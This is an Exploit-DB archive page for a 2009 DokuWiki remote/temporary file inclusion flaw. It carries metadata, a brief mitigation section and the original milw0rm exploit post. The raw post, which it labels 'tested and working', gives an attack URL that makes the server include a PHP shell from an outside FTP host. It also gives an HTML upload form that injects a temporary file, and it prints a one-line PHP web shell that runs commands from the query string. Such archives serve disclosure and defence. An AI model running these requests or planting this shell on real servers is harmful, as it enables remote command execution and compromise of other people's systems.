Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit

vendor:

Dokuwiki

by:

girex

7,5

CVSS

HIGH

Remote/Temporary File Inclusion

CWE

Product Name: Dokuwiki

Affected Version From: 2009-02-14

Affected Version To: 2009-02-14

Patch Exists: YES

Related CWE: N/A

CPE: a:dokuwiki:dokuwiki

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit

Dokuwiki 2009-02-14 is vulnerable to Remote/Temporary File Inclusion. This exploit requires register_globals to be set to 'on' and allow_url_fopen to be set to 'On' (default) and allow_url_include to be set to 'On' (not default). The exploit can also be used with file_uploads set to 'On' (default) and a temporary file passed by the $_FILES[] array. The payload should be a shell script with the command passthru($_GET[cmd]); die();.

Mitigation:

Disable register_globals, allow_url_fopen, and allow_url_include. Ensure that file_uploads is disabled.

Source

Exploit-DB raw data:

Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working

I was reading: http://www.milw0rm.com/exploits/8781
by girex

[quote]
It's not a RFI couse use of file_exists function.
[/quote]

How wrong brother!

trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)

http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:anon@1.12.123.123/folder/sh.php&cmd=ls%20-la>out.txt

trick 2:
needs register_globals = on
file_uploads = On (default)

include a temporary file passed by the $_FILES[] array:

<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>

where your shell is like:
<?php passthru($_GET[cmd]); die();?>

because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !


Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/

# milw0rm.com [2009-05-26]